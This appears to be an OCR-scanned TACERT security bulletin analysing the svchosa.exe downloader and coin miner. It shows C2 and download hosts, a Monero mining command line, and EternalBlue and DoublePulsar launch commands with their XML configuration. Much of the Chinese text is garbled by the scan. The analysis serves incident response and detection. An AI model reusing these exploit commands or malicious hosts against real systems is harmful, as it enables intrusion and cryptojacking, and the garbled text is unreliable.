NSAsz# 1 EF it o782

FAFERRE BRI « BR(TACERT)H

2019 # 6 ¥



.‘; i R B &2 ¢ < (TACERT)
N7 TANet Computer Emergency Response Team

- N~ & Fs? 1y

1. 22019/3 * &4~ ¥ <3 R &8 prgepsp £ 2019/3 4215 & p http://
47[.]106[.]217[.]147/svchosa.exe ¥ http://m9f[.Joss-cn-beijing[.]Jaliyuncs[.]Jcom
[svchosa.exe (IP: 59.110.185.187) & R A2 52 F 2 » 2 E L& ¢4 5
svchosa.exe » 7 & siff svchostexe 2 &AL ™ - BF* 2 4 > 527 FZE L2

PO EE L AP SR EFERN DERLTIEE o

=~ EE R
. 2> @% A 5 k- R PROWINT REEH(155 L 22 137 4 48)ie 7

svchosa.exe #p] » i % 155 3 #%(1P:192.168.195.155) + # {7 svchosa.exe °

155 1% 1374
IP:192.168.195.155  1P:192.168.195.137

svchosa.exe

2. #23% svchosa.exe & Virustotal ] » 2 & &' 5] 5 55/70 0 % }07 # Hck o &

12 Downloader & CoinMiner & Z v o

5 5 @ 55 engines detected this file

15937a91105a0ccb9c11a1d0ff9d98ba2b0a4i7fic03d8i6aro05e1701245a6 896 KB
svchosa.exe :

peexe

Avira r.Gend BitDefender

CAT-QuickHeal o Backdoor.Generic ClamAV
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ESET-NOD32 o A Variant Of Win32/CoinMiner.BWP F-Prot o W32/KillAV AU.genlEldc

F-Secure o Trojan. TR/Downloader.Gend FireEye o Generic.mr

Fortinet o W32/CoinMiner. BWPItr GData Malware SPVPKT
Kaspersky 0 HEUR:Backdoor.Win32.Generic Malwarebytes o Trojan BitCoinMiner

NANO-Antivirus 0 Trojan.Win32 ComMiner.fofjdt Palo Alto Networks o Generic.ml

Panda 0 Tri/ClLA Qihoo-360 o Win32/Trojan Downloader 95

Trapmine o Valicious.high.ml.score TrendMicro-HouseCall o TROJ_GEN.R002COOCM19
VBA32 G BScope.Trojan. IRChot ViRobot 0 Trojan.Win32.Z Coinminer.917504.A
Webroot 0 W32.Trojan.Gen Yandex 0 Trojan.CoinMinerszvNFyYyOVE
ZoneAlarm o HEUR:Backdoor.Win32 Generic Acronis Q Und

3. teAR A 4k SRk 0 3 IR svchosa.exe € a4 ¢ R 1P:47.104.110.131:8090

g @ B IP:47.106.217.147:80> v » € & ¥ ® P RE P & IPEF S B port (i

Ba (port scan:139port £2 445port) - @ F]44 {7 svchosa.exe A # 5 oysks.exe § i

A4 1P:139.99.72.56:80 &2 p 4 1P:103.101.30.10:80 - # svchosa.exe % 7

- BCPFERF {0 € 4 TR svchostlong.exe £ serverlong.exe € il & % 32 e 5:p 137

3 ¢ 445port> @ svchosa.exe € 7 T 3 e B 0 portscan 1 ¥ &

IP:60.2.77.229:1433 -

Risda B

2019/3/27 T4F
2019/3/27 T4
2019/3/27 T4
2019/3/27 T4
2019/3/27 T4
2019/3/27 T4
2019/3/27 T4F
2019/3/27 T4

03:10:14 Added
03:10:14 Added
03:10:36 Added
03:10:36 Removed
03:10:56 Added
03:10:56 Removed
03:10:58 Added
03:10:58 Removed

svchosa.exe
svchosa.exe
svchosa.exe
svchosa.exe
svchosa.exe
svchosa.exe
svchosa.exe
svchosa.exe

TCP 192.168.195.155:49599 192.168.195.1:445
TCP 192.168.195.155:49600 47.104.110.131:8090
TCP 192.168.195.155:49601 192.168.195.1:139
TCP 192.168.195.155:49599 192.168.195.1:445
TCP 192.168.195.155:49602 192.168.195.2:445
TCP 192.168.195.155:49601 192.168.195.1:139
TCP 192.168.195.155:49604 192.168.195.3:445
TCP 192.168.195.155:49602 192.168.195.2:445

2019/3/27 T4

03:21:11 Added

2019/3/27 T-/f- 03:15:36 Added oysks.exe TCP 192.168.195.155:49618 139.99.72.56:80
2019/3/27 T/~ 03:15:52 Removed oysks.exe TCP 192.168.195.155:49618 139.99.72.56:80
2019/3/27 4> 03:20:52 Added oysks.exe TCP 192.168.195.155:49634 103.101.30.10:80

svchosa.exe

TCP 192.168.195.155:49635 192.168.195.17:139

2019/3/27 T4p
2019/3/27 ¢
2019/3/27 ¢

04:45:21 Added
04:45:21 Removed
04:45:49 Added

svchosa.exe

svchosa.exe

svchostlong.exe

TCP 192.168.195.155:49930 47.106.217.147:80
TCP 192.168.195.155:49928 192.168.195.136:139
TCP 192.168.195.155:49931 192.168.195.137:445

2019/3/27 T4
2019/3/27 T4

04:48:50 Added
04:48:54 Removed

serverlong.exe

serverlong.exe

TCP 192.168.195.155:49956 192.168.195.137:445
TCP 192.168.195.155:49956 192.168.195.137:445
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2019/3/27 T/F 06:24:44 Added svchosa.exe TCP 192.168.195.155:50360 60.2.77.229:1433
2019/3/27 T /> 06:25:06 Removed svchosa.exe TCP 192.168.195.155:50360 60.2.77.229:1433

4. &g B IP:47.106.217.147:80 2 3¢ p % > HFRT § T §* SMB445.exe

services.exe @ 23 3 1

RSA Secunty Analytlcs Reconstructlon for session ID G ( Source 192.168.195.155 : 49930, Target 47.106.217.147 : 80)

0 bytes Pa\-load Size 3,141,156 bytes

EET #SMB445 exe HTTP!I 1
User-fzent: Mozillafd4.0 (compatible)
Host: 47.106.217.147
Cache-Control: no-cache

RSA Security Analytlcs Reconstructlon for spssmn ID' 00 ( Source 192
0 bytes Fa\;lcad
IMDdlflEd Thuf .
000002c1 = 2C 20 32 31 20 4D &1 72 20 32 30 31 3% 20 30 35 [, 21 Mar 2019 05]
00000241l : 32 30 32 32 35 33 20 47 4D 54 0D OA& 43 6F 6E 74 [:02:53 GMT..Cont]
000002el : 65 GE 74 2D 44 65 73 70 6F 73 65 74 €9 6F GE 32 [ent
—Disposition:]
QOo000ZE1 : [ attachment; £il]
00000301 = [ename="SMBE445.ex]
00000311 -
00000321 =
00000331 -
00000341 -
00000351 =
00000361 :
00000371 =
00000381 :
00000351 : OE 00 B4 05 CcD 21 B8 01 4C CcD 21 54 68 €9 73 20
This ]
000003al = 70 72 6F &7 72 61 D 20 &3 61 6E 6E 6F 74 20 62 [program cannot b]
000003b1 : €5 20 72 75 EE 20 6% BE 20 44 4F 53 20 6D &F 64 [e run in DOS mod]
000003cl : &5 2E OD OD OR 24 00 00D 00 00 00 00 00 DE FC 5C [E....5...uuun.. N\
000003d1 : 23 52 9D 32 70 92 %D 32 70 %2 SD 32 70 26 01 c3 [¥..2p..2p..2p&..]
0000032l : 70 9F SD 32 70 26 01 Ccl1 70 19 9D 32 70 26 01 C0 [p..2p&..p..2p&..]
000003£1 : 70 Ba SD 32 70 A5 Cc3 31 71 B84 %D 32 70 &5 Cc3 36 [p..2p..1g..2p..E&]
00000401 : 71 B1 SD 32 70 AS Cc3 37 71 BE 9D 32 70 SB E5 Bl [g..2p..79.-2p...]
00000411 : 70 28 SD 32 70 9B E5 A1l 70 97 9D 32 70 S2 9D 33 [p..2p...p.-2p..3]
00000421 = 70 9% S5c 32 70 05 c3 37 71 22 Sp 32 70 05 c3 32 [p..2p..79.-2p..2]
00000431 : 71 23 5D 32 70 00 C2 CD 70 93 9D 32 70 05 c32 30 [g..2p...p.-2p..0]
00000441 : 71 %3 9D 32 70 52 6% 63 €8 %2 9D 32 70 00 00 00 [g..2pRich..2p...]
00000451 : 00 0O 00 0O OO 50 45 00 00 4C 01 06 00 08 B3 2F [..... PE..L..... /1

.168.195.1 250301, Target 47.106.217.147 - 80)

& bytes Pa\alua 920,349 byte

GET /services.exe HTTP/L.L
Host: 47.106.217.147
Connection: keep-alive
Tpgrade-Insecnre -Requests: |
Vser-Agent: Wozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (EHTML, like Gecko) C
hrome/73.0.3683.46 Safari/537.36
Accept: text/html,application/xhtml4xnl ,application/xml ;q=0.9,inage ‘wehp, inagefap
ng ¥/ *¥;q=0.8,application/sizned -exchange ;v=b3
Accept-Encoding: gzip, deflate
hocept-Language: zh-TW,zh;q=0.9,en-U5;¢=0.8 ,en;¢=0.7
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RSA Security Analytics Reconstruction for session ID: 1064 ( Source 192.168.195.155 : 50301, Target 47.106.217.147 - 80
[27/2019 18:08:05 to 3/ 70]“ ]L\ Da 09 Packet Size 967,436 bytes  Payload Size 920,349 bytes
2 &( C QAR

00000423 : i 65 [nt-

Disposition: ] ~
00000433 : [attachment; file]
00000443 - [name="services.e]
00000453 = IC 2
00000463 :
00000473 : E
s 0]
00000483 :
00000493 :
000004a3 :
000004b3 :
000004<c3 :
000004d3 -
This]
000004e3 : 20 70 72 &F &7 72 €1 €D 20 63 61 6E 6E &F 74 20 [ program cannot ]
000004£3 : 62 65 20 72 75 6E 20 65 6E 20 44 4F 53 20 6D 6F [be run in DOS mo]
00000503 : &4 65 2E 0D OD 02 24 00 00 00 Q0 00 00 OO 30 18 [de....$....... 0.]
00000513 : 3E 8D 74 79 S0 DE 74 79 50 DE 74 79 50 DE 1B 66 [>.tyP.tyP.tyP..f]
00000523 : SA DE 75 79 50 DE 1B &6 5B DE 73 79 50 DE OF 65 [Z.uyP..f
[.syP..e]

00000533 : 5C DE 77 7% 50 DE 42 SF 5B DE 7% 79 50 DE F7 65 [\.wyP.B
[.yyP..e]

00000542 : 3E DE €D 7% 30 DE 42 5F SA DE OF 79 50 DE 2A 3B [".myP.B_Z..yP.*

00000553 : 5B DE 77 79 50 DE ARE 5A 4C DE 75 735 50 DE B7 76 [[.wyP..ZL.uyP..v]
00000563 : 0D DE 73 7% 50 DE 74 7% 51 DE B2 79 50 DE 9C 66 [..syP.tyQ..yP..f]
00000573 : SB DE 73 7% S0 DE B3 7F 56 DE 75 79 50 DE 52 65 [[.syP...V.uyP.Ri]
00000583 : 63 68 74 7% 50 DE 00 OO0 00 OO OO 00 00 OO0 50 45 [chtyP......... PE]

D. & pagsp + IP:103.101.30.10:80 £ #74c L IP:139.99.72.56:80 2 3¢ p 7 >

FIED BPRRE e BRI REFEBTLE2ZERNGE S -

RSA Security Analytics Reconstruction for session I1D: 4 ( Source 192.168.195.155 : 49634, Target 103.101.30.10 : 80)

Time 3/27/2019 15:20:55 w0 3/27/2019 15:28:12  Packet Size 9,643 bytes Payload Size 6,613 bytes

ot 52

fhid" sl "gsonrpe " 2.0" , "nethod " s "login" , "parans” :{"login" :"44f36kdzc TvR4eEPTaTEE ~
pJTh18FpvnxbHADnA 1 1QFLeM Thzvl 1 avn3VHHEPEnd ob3W I77EbzcQaleG¥Saf Cop3QQLCW9G" , "pass
itk Magent" " (Windows NT 6.1 libuw/1.9.1 msvwe/2015","algo":["cn","enft", "co/f
wor","cnf2", "en/ 1", "en/0", "endhalf " "endxtl", "cnfmst ", "endxan  "endrto” , "endrwz",
"endzls", "enfdouble" ]}

{"1d":1,"ysonrpe " "2.0" "error innl ], "result" i {"1d" : "28cRBed le-3a82 -4480-397h -27h0
£3d8262e","job" 1 {"blob":"0c0cBcceced05coTdBST 72139228 5bbb0bdcat 35dcB0088600bEZ:
1c59dd 471 503dcheaT9572000000005390h80569cabiTc3cd fh2ZbbIcc05bETT507a039a7066:043743
beTofTf7ae8a201","algo" "enfwow" , "variant" : "wow","he1ght" :92233," j0b_1d": "sHlovde
ETeKZakhDHEOHELVhaB4 1", "target" 1 "37294100" ,"1d" 1 "28c8ed 1o -3a82 -4489 -807h -8Th0f 3d8
262e" ), "status""0K" }}

MWwzog=wuvm:=a

("1d":2,"jsonrpc":"2.0", "nethod " : "submit", "parans": {"id" : "28cBed le-3a82 -4489-897h
-87h0f3d2262¢" , " job_1d" : "sHlovdeKTeEZaKhDHBOHkb¥baB41" | "nonce" : "6c000000", "result
":'1594119e5a615d 1 9e6d41alabiB5Tal831ePdc0d02129d5e72dd 4851 ShhE2200" 1}

1"id" e, isonrpe " "2.0"  "error " tan L, "result" 1 "status " "OK" }}
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RSA Security Analytics Reconstruction for session ID: 9 ( Source 192.168.195.155 : 49771, Target 13
S 5,659 bytes

e

Time 3/27,/2019 15:51:39 to 3/27/2019 15:58:27 Packet Size 8,917 h\,te\ Fa\,load Fd

tidt e, "annrpc"'"Z 0" "methnd"'"lng1n” ”params" {"lngln"'"44f35k4chvR4e8PTaYEE o
pJfh jEFpvnxbHADmA 1 1QFLeMThzvN 1 Kavn3VHHNPEnd ab3W I77EbzcQaleb TR afCwpSQUKCHOG ", "pass
ety Magent":") (Windows HT 6.1) libuw/1.9.1 msve/2015","algo":["en","cn/r", "cn/
wou", "en/2" Mend 1" "en /0" Menthalf " endxt]"  Mendfmst ", "endxan”, "endrto" , "en/frwe"
"enfzls","cnddovhle" ]}
1"id" el "jeonrpe " "2.0" Merror ol "result" i {"id" :"d642efEd 0530 4f b2 -EVF3-00c3 R
adZleded”,"job" :{"blaob" :"0clcadd2aced0507a115595cf 73300300073 fefda07%ba 1216770 E
0a462995306250a 14bbab5000000008149F 3fb30335d43b50d3a7cf47e6b6650c186b812cThE2271d £
072240207 1edal8" ,"alga" :"cn/wow" ,"variant” : "wvow","height" 192242 " joh_id" :"Y/ylos6 i
wo 1Dl Qe ThGOV2EGC ", "target” 1 "37204100", "1d" : "d642e18d 0539 -4fh2-87£3-00:3ad21 2
cded" ), "status" :"OK" 3} :
B
{"id":2,"jsonrpc" :"2.0", "nethod " :"submit", "params" : {"1d" : "d642e18d -0530 -4fb2 -8713
-90c3adZleded" " job_id" :"T/yGosbwS 11 Dul Oxx IbGOVZEGC 11", "nonce " 1 "83020000" , "result
"1 "'a03cd88d270b664c020c6972chcede26Te0bbdce25d ledda5cf 305hb22a03300" }
{"1d":2,"3sonrpc” " 2.0" , "error" innll, "result"  {"status":"0K" }} E
s
P
(o]
N
S
E
S\ |

6. fpagam? ®IP:60.2.77.229:1433 2 4f & % B R F B R & portscan

TE B A1 ¢ 58 1433 port :& {7 ms-sql 74 & g 4 o

00000000 =
00000010
00000020 =
00000030 : &
00000040 =
00000050 -
00000080
00000070
00000080 =
00000050 -
000000a0 =
000000b0 =
000000c0 =

000000c2 :
000000d2 :
00000022
000000£2

AL AF °©
00 00 00

mwzomwvmsm

T. WAL B AR (¥ > 4 2L i svchosaexe $4 1715 € AR B 4 7
ipconfig.exe (5—;{-‘,% DNS -2~)-taskkill.exe(3# #].% & ipconfig.exe) oysks.exe(F4

{747 Fh) & taskkill.exe(5z #].5% & oysks.exe)® 25 » H ¢ & & C:\Saywke & #

oysks.exe K3 (T T ©
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Process Image Path Command
=] 'gsvchosa.exe (3524) C:\Users\Ruby\Downloads\svchosa.exe "C:\Users\Ruby\Downloads\svchosa.exe"
[ 8 cmd.exe (2944) C:\Windows\system32\cmd.exe cmd /c ipconfig /flushdns
#ipconfigexe (1176) |C:\Windows\system32\ipconfig.exe ipconfig /flushdns
[ g8 cmd.exe (1612) C:\Windows\system32\cmd.exe cmd /c taskkill /f /im cmd.exe

‘taskkill exe (1872)
oysks.exe (3780)
#% cmd.exe (348)

¥ “taskkill.exe (3800)
[ % cmd.exe (2000)
¥ " taskkill.exe (3580)
oysks.exe (2132)
() §3% cmd.exe (2980)
# itaskkill.exe (3648)
taskkill.exe (1792)
[ 58 cmd.exe (3844)

# %ipconfig.exe (3260)

C:\Windows\system32\taskkill.exe
C\Saywke\oysks.exe
C\Windows\system32\cmd.exe
C\Windows\system32\taskkill exe
C\Windows\system32\cmd.exe
C\Windows\system32\taskkill exe
C\Saywke\oysks.exe
C\Windows\system32\cmd.exe
C\Windows\system32\taskkill exe
C\Windows\system32\taskkill exe
C\Windows\system32\cmd.exe
C:\Windows\system32\ipconfig.exe

taskkill /f /im cmd.exe

C:\Saywke\oysks.exe -o stratum+tcp://mine.c3pool.com:80 -u 44f3...
cmd /c taskkill /f /im oysks.exe

taskkill /f /im oysks.exe

cmd /c taskkill /f /im cmd.exe

taskkill /f fim cmd.exe

C\Saywke\oysks.exe -o stratum+tcp://mine.c3pool.com:80 -u 44f3...
cmd /c taskkill /f /im oysks.exe

taskkill /f /im oysks.exe

taskkill /f /im oysks.exe

cmd /c ipconfig /flushdns

ipconfig /flushdns

[ 3% cmd.exe (348) CA\Windows\system32\cmd.exe cmd /c taskkill /f /fim cmd.exe
¥ taskkill.exe (1924) |C:\Windows\system32\taskkill.exe taskkill /f /im cmd.exe
(=) ¥3% cmd.exe (2376) CA\Windows\system32\cmd.exe cmd /c taskkill /f /fim cmd.exe

“taskkill.exe (2312)
oysks.exe (2476)
[=) ¥3% cmd.exe (2588)
¥ taskkill.exe (1040)
taskkill.exe (428)
[ 3% cmd.exe (3376)

¥ %ipconfig.exe (2208)
[ §3% cmd.exe (3872)
%" taskkill.exe (3312)

C\Windows\system32\taskkill exe
C\Saywke\oysks.exe
C\Windows\system32\cmd.exe
C\Windows\system32\taskkill exe
C\Windows\system32\taskkill exe
C\Windows\system32\cmd.exe
C:\Windows\system32\ipconfig.exe
C\Windows\system32\cmd.exe
C:\Windows\system32\taskkill exe

taskkill /f /im cmd.exe

C:\Saywke\oysks.exe -o stratum+tcp://mine.c3pool.com:80 -u 44f3...
cmd /fc taskkill /f /im oysks.exe

taskkill /f /im oysks.exe

taskkill /f /im oysks.exeoysks.exe

cmd /c ipconfig /flushdns

ipconfig /flushdns

cmd /c taskkill /f /im cmd.exe

taskkill /f /im cmd.exe

Description:
Company:
Path: C:\Saywke\oysks.exe
Command: C:\$aywke\oysks.exe -0 stratum+tcp://mine.c3pool.com:80 -u 44f3Gk4zcTvR 4e8PTaYEEPIfhj8FpvnxbHADMAIQFLeMTAzvN 1Xavn3VHHNP8n4ob3W177KbzcQaCaGYSofCwpSQQKCWIG -p x —max-cpu-usage=25 K
User: Ruby-PC\Ruby
PID: 3780 Started:  2019/3/27 F4F 03:10:35
Exited:  2019/3/27 T4 03:10:35

L F AR A - BB S 0 & B4a3 7 Sexe s PINGEXE (# & TCP/IP) ~

M“,% S.exe ~ 3% 7 Svchostlong.exe ~ Serverlong.exe ~ Taskkill.exe (3 #4145 &

oysks.exe)£? # "7 C:\ProgramData\*.txt % 42 5 o

PING.EXE (3008)
1= &% cmd .exe (3092)

=) ¥ cmd.exe (1756)

=) &% cmd.exe (3952)

3% cmd.exe (976)
=) ¥ cmd.exe (1388)

svchostlong.exe (384
svchostlong.exe (195
serverlong.exe (3636

serverlong.exe (3992

serverlong.exe (3024

C:\Windows\system32\PING.EXE
C\Windows\system32\cmd.exe
c:\ProgramData\svchostlong.exe
C:\Windows\system32\cmd.exe
c:\ProgramData\svchostlong.exe
C\Windows\system32\cmd.exe
c\ProgramData\serverlong.exe
C\Windows\system32\cmd.exe
c:\ProgramData\serverlong.exe
C\Windows\system32\cmd.exe
c:\ProgramData\serveriong.exe

C\Windows\system32\taskkill.exe

C:\Windows\system32\cmd.exe

C\Windows\system32\taskkill.exe

C:\Windows\system32\cmd.exe
c:\ProgramData\serverlong.exe
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe

Process Image Path Command
; ysks.exe (3360) C\Saywke\oysks.exe C:\Saywke\oysks.exe -o stratum+tcp://mine.c3pool.com:80 -u 44f3Gk4zcTvR4e8PTaYEEp)...
1= &% cmd.exe (2312) C:\Windows\system32\cmd.exe cmd /c C:\ProgramData\S.exe
2% 5.exe (3920) C:\ProgramData\S.exe C:\ProgramData\S.exe
(= g% cmd.exe (1168) C:\Windows\system32\cmd.exe cmd /c ping 127.0.0.1 -n 100 && del C:\ProgramData\S.exe

ping 127.0.0.1-n 100

cmd /c cd c:\ProgramData && svchostlong.exe --Targetlp 192.168.195.137 —-Target WIN...
svchostlong.exe —Targetip 192.168.195.137 --Target WIN72K8R2 --DaveProxyPort=0 --N...
cmd /c cd c\ProgramData && svchostlong.exe —-Targetip 192.168.195.137 --Target XP ...
svchostlong.exe --Targetip 192.168.195.137 —-Target XP —-DaveProxyPort=0 --NetworkTi...
cmd /c cd c:\ProgramData && serverlong.exe --OutConfig 192.168.195.137-dll.txt —-Targ...
serverlong.exe —OutConfig 192.168.195.137-dll.txt —Targetip 192.168.195.137 --TargetP...
cmd /c cd c\ProgramData && serverlong.exe --OutConfig 192.168.195.137-d!l.txt —-Targ...
serverlong.exe --OutConfig 192.168.195.137-dll.txt --Targetlp 192.168.195.137 --TargetP...
cmd /c cd c:\ProgramData && serverlong.exe --OutConfig 192.168.195.137-dll.txt -Targ...
serverlong.exe —-OutConfig 192.168.195.137-dll.txt -Targetip 192.168.195.137 --TargetP...
taskkill /f /im oysks.exeoysks. exeoysks.exeoysks exeoysks.exeoysks.exeoysks.exeoysks.e...
cmd /c taskkill /f /im cmd.exe

taskkill /f /im cmd.exe

cmd /c cd c:\ProgramData && serverlong.exe --OutConfig 192.168.195.137-dll.txt --Targ...
serverlong.exe --OutConfig 192.168.195.137-dll.txt --Targetip 192.168.185.137 —-TargetP...
cmd /c del fa /f /q C:\ProgramData\* txt

cmd /c taskkill /f /im oysks.exe

C:\Windows\system32\taskkill.exe taskkill /f /im oysks.exe

C\Windows\system32\taskkill.exe taskkill /f /im oysks.exeoysks.exeoysks.exeoysks.exeoysks.exeoysks.exeoysks.exeoysks.e...
C\Windows\system32\cmd.exe cmd /c taskkill /f /im cmd.exe

C:\Windows\system32\taskkill.exe taskkill /f/im cmd.exe

askkill.exe (1504)
cmd.exe (3260)
askkill exe (1432)
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(= ¥ cmd.exe (3092) C\Windows\system32\cmd.exe cmd fc cd c\ProgramData && svchostlong.exe —Targetlp 192.168.195.137 —-Target WIN7 2K8R2 --DaveProxyPort=0 --Networ,
#% suchostlong exe [3844) |c:\ProgramData\svchostlongexe  suchostlongexe —Targetlp 192 168.195 137 ~Target WIN72K8R2 —DaveProxyPort=0 —NetworkTimeout 60 --TargetPort 445
)55 cmd.exe (1756) CAWindows\system32\cmd.exe cmd fc cd c\ProgramData && svchostlong exe —Targetlp 192.168.195.137 —Target XP —DaveProxyPort=0 —NetworkTimeout
#7 svchostlong.exe (1956) |c:\ProgramData\svchostlong.exe  svchostlong.exe —Targetip 192.168.195.137 ~Target XP —-DaveProxyPort=0 —NetworkTimeout 60 —~TargetPort 445 —VerifyTar
(= &% cmd.exe (3952) C\Windows\system32\cmd.exe cmd fc cd c:\ProgramData && serverlong.exe —OutConfig 192.168.195.137-dll.txt —Targetip 192.168.195.137 —TargetPort 4
@ “serverlongexe (3636) |c\ProgramData\serverlong.exe serverlong.exe —OutConfig 192.168.195.137-d|l.txt —Targetlp 192.168.195.137 TargetPort 445 —-DlIPayload X86.dl1 --DIIO
1588 cmd exe (4036) C\Windows\system32\cmd.exe  cmd /c cd c:\ProgramData && serverlong exe —OutConfig 192 168 195 137-dll txt ~Targetlp 192 168 195 137 —TargetPort 4
#% serverlong.exe (3992) |c:\ProgramData\serverlong.exe serverlong.exe —OutConfig 192.168.195.137-d| | txt Targetlp 192.168.195.137 —TargetPort 445 —DlIPayload X64.d11 -DIIO

# ¢ Svchostlong.exe(Eternalblue) 2 Serverlong.exe(Doublepulsar)#4 {7 15 ¢ 7
C:\ProgramData # # IP address.txt £ IP address-dll.txt = < F 4 > &)

4r:192.168.195.137.txt 2 192.168.195.137-dll.txt -

PID:3844 c:\ProgramData\svchostlong.exe % Eternalblue

svchostlong.exe —Targetlp 192.168.195.137 —Target WIN72K8R2 —-DaveProxyPort=0 —-NetworkTimeout 60
—TargetPort 445 —VerifyTarget True —VerifyBackdoor True —-MaxExploitAttempts 3 —GroomAllocations 12 —
OutConfig 192.168.195.137 .txt

PID:3636 c:\ProgramData\serverlong.exe #iDoublepulsar

serverlong.exe —OutConfig 192.168.195.137-dll.txt —Targetlp 192.168.195.137 —TargetPort 445 —DlIPayload
X86.dll -DllOrdinal 1 ProcessName lsass.exe —ProcessCommandLline —Protocol SMB —-Architecture x86 —
Function Rundll

i34 7 = svchostlong.exe £ serverlong.exe & ¢ #1 “F T 3 1 C:\ProgramData

7I§i-f}‘ *txt‘\?’-“*é_’,o

g% cmd exe (376 C\Windows\system32\cmdexe  cmd /c del /a /f /g C\ProgramData\* tut

% 5 IPaddress.txt &2 IP address-dll.txt & i > F4H N % > FRT 7 it 5 A2

svchostlong.exe £ serverlong.exe $4 {7 {5 ch% 44 » & & B svchosa.exe 4 {7

R A2 B 1S AR B AT AT g AR R | f

WEF SEE BO) WAV REH
kconfig xmlns="urn:trch" id="0f38f55b6a88feccfbBdbdld 10abd68Te652e63e" configversion="2.2.0.0" -

="Eternalblue” versio .2.0" schemaversion="2.1.0">  <inputparameters> <parameter
3 DaveProxyPort" description="DAVE Core/Proxy Hookup connection port” type="TcpPort" format="Scalar"
hidden="true" walid="true"s <default=0</defanlt> <value>0</value> <fparameter>

<parameter name="NetworkTimeout" descriptio imeont for blocking network calls (in seconds). Use -1 for
no timeout." type="S16" format="Scalar" valid="true"> «defanlt=60</defanlts
<value>bl</value> <Iparaneter> <parameter name="Targetlp" description="Target IP Address"
type="1Pvd" forma roe"s <value=192,168.195.155</values dparaneter:

rg ion="Port used by the SMB service for exploit connection"
type="TcpPort" format="Scalar" "true's <defanlt>445</defanlt> <value>445</value>
</parameters <parameter name="VerifyTarget" description="Yalidate the SHB string from target against
the target selected before exploitation.” type="Boolean" format="Scalar" valid="true">
<default>true</defaults <value>true</values <fparameters> <parameter name="VerifyBackdoor"
description="Validate the presence of the DOUBLE PULSAR backdoor hefore throwtng Thls option must be
enabled for multiple exploit attenpts.” type="Boolean" format="3calar" valid="true">
<defanlt>true</defaults <value>true</value> </parameter> <parameter
name="MaxExploithttenpts” description="Number of times to attempt the exploit and groom. Disabled for
EP/2K3." type="U32" format="Scalar" valid="true"s <defanlt>3</defanlt> <value>3</value>
</parameters <parameter name="Groomdllocations"” description="Number of large SMBvZ buffers (Vista+)
or SessionSetup allocations (EK/2K3) to do." type="U32" format="Scalar" valid="true">
edefanlt>12</default> <value=12</value> </parameters <parameter nane="ShellcodeBuffer”
description="Shellcode buffer in hex (hint: use 'F:&It;FILENANESgt:' to load from file)" type="Buffer"
format="Scalar" hidden="true" requlred “false" ><Iparaneter> -:paraneter nane= LogFlle
description="Where to write log file" type="String" format="Scalar" required="falze"></paraneters
<parameter name="OutConfig" description="Vhere to write output parameters file" type="String"
fornat="Scalar" wvalid="true"> <defanlt>gtdont</default> <value=192. 168,195, 155, txt</value>
</parameters <parameter name="YalidateOnly" description="Stop execution after parameter validation"
type="Boolean" format="Scalar" valld- true's <defanlt>falze</defanlt> <value>false</value>
</parameter> <paramchoice name="Target" description="Operating System, Service Pack, and
Architecture of target 0S"> <value>VIN72E8R2</ va lue> <paramgroup name="%P"
description="Vindows XP 32-Bit A1l Service Packs"»</paramgroup> <paramgroup name="VINTIK8RZ"
description="Windows 7 and 2008 R2 32-Bit and 64-Bit A1l Service Packs"></paramgroup> <fparamchoices>
</inputparameters>  <outputparameterss <parameter namne="DoublePulsarPresent” description="Set to
true if the DOUBLEPULSAR backdoor was already installed and the exploit did not have to be thrown"
type="Boolean” format="Scalar" walid="true"s <value>false</values </parameters
</outputparameterss </config> =
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9. Az A BB ERFHA, 0 g M svchosaexe § i EFTH B B

7o 2 oeted gysks.exe KB T o

Autorun Entry Description Publisher  Image Path Timestamp
@ HKLM\SOFTWARE \Microsoft\Windows \CurmentVersion\Run 2019/3/27 F<F 03:10

2019/3/27 T4 03:10

= '3 svchosa.exe (3524) CA\Users\Ruby\Downloads\svchosa.exe "Ch\Users\Ruby\Downloads\svchosa.exe”
B oysks.exe (1304) CA\Saywhke\oysks.exe CA\Saywke\oysks.exe -o stratum+tcp://mine.c3pocl.com:80 -u 44f3Gk4:

10. %5 oysksexe *rfi=¥ » # ¥ 722t C\- B EF N TR 2 Saywke ¢ >
& Virustotal #& P/ 2 B4+ &) 5 31700 % }J7 F # %8 2 2 12 CoinMiner & %

Vo T OURGRT B - BRABAN -

O [1 55 z8e80 » sawee|

HEEE ~ MAZERE ~ ZREE - e FEENR
e— 25 AR =T i o
8 T " | oysks.exe 2019/3/27 F503:10 2019/3/27 T503:10 EHER 4,431KB Administrators
€3 31 engines detected this file
b88548ed0586132c2d6d595490540941f3acd5e200c79942¢656d0bf59c1a 433 MB
5 sEal
olze
oysks.exe
overlay peexe upx
Acronis 0 Suspicious Ad-Aware o Generic. Application.CoinMiner.1.DFB10
Antiy-AVL 0 RiskWare[RiskTool]/\Win32 BitMiner Arcabit G Generic Application.CeinMiner.1.DFB10
Avast 0 Win32:HarHarMiner-A [Trj] AVG 0 Win32:HarHarMiner-A [Trj]
BitDefender c Generic. Application.CoinMiner.1.DFB10 ClamAV o Win.Coinminer HiddenShock-68
Crowd Strike Falcon o Win/malicious_confidence_100% (D) Cybereason o Malicious 4487
Emsisoft 0 Generic Application.CoinMiner.1.DFB10 Endgame 0 Malicious (mederate Confidence)
eScan o Generic.Application.CoinMiner.1.DFB10 ESET-NOD32 0 AVariant Of Win32/CoinMiner.FD Potent
FireEye 0 Generic Application.CoinMiner.1.DFB10 GData o Win32. Application.CoinMiner. T@gen
Ikarus @ PUA Coinliner K7AntiVirus @ Adware (00523c491)
K7GW 0 / Kaspersky 0 Not-a-virus: HEUR:RiskTool.Win32 BitMin
MAX o Ma NANO-Antivirus o Riskware Win32 BitMiner fnzwtg
Qihoo-360 0 HEUR/QVM11.1.1E51 Malware.Gen Rising 0 PUA CoinMiner!S (TFE:dGZIOgWp
SentinelOne 0 DFi - Malicious PE Sophos AV a Cryptocoin Miner (PUA)
Sophos ML ° Heuristic Symantec 0 ML Attribute HighConfidence
TrendMicro-HouseCall a Coinminer. Win32. MALXMR SMBM4 Yandex 0 Riskware Agent!
ZoneAlarm o Not-a-virus: HEUR:RiskTool. Win32 BitMin AegisLab Q Undetected
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C:\programData 7 #% 4 p 73 2z services.exe ~ Svchostlong.exe ~ Serverlong.exe -

-

VNC.exe £ vbs.vbs 4% A ¥ € 24 - BEF S gt dicd LT &gk
¥ #HAz5¢ > 4riFgols.exe i »t C:\$gyomw\p > » € i& B vbs.vbs f F 4 7 &
FTRELARS

= ) [

BER S/EE

f&3.(0)

BRN  HEH)

B

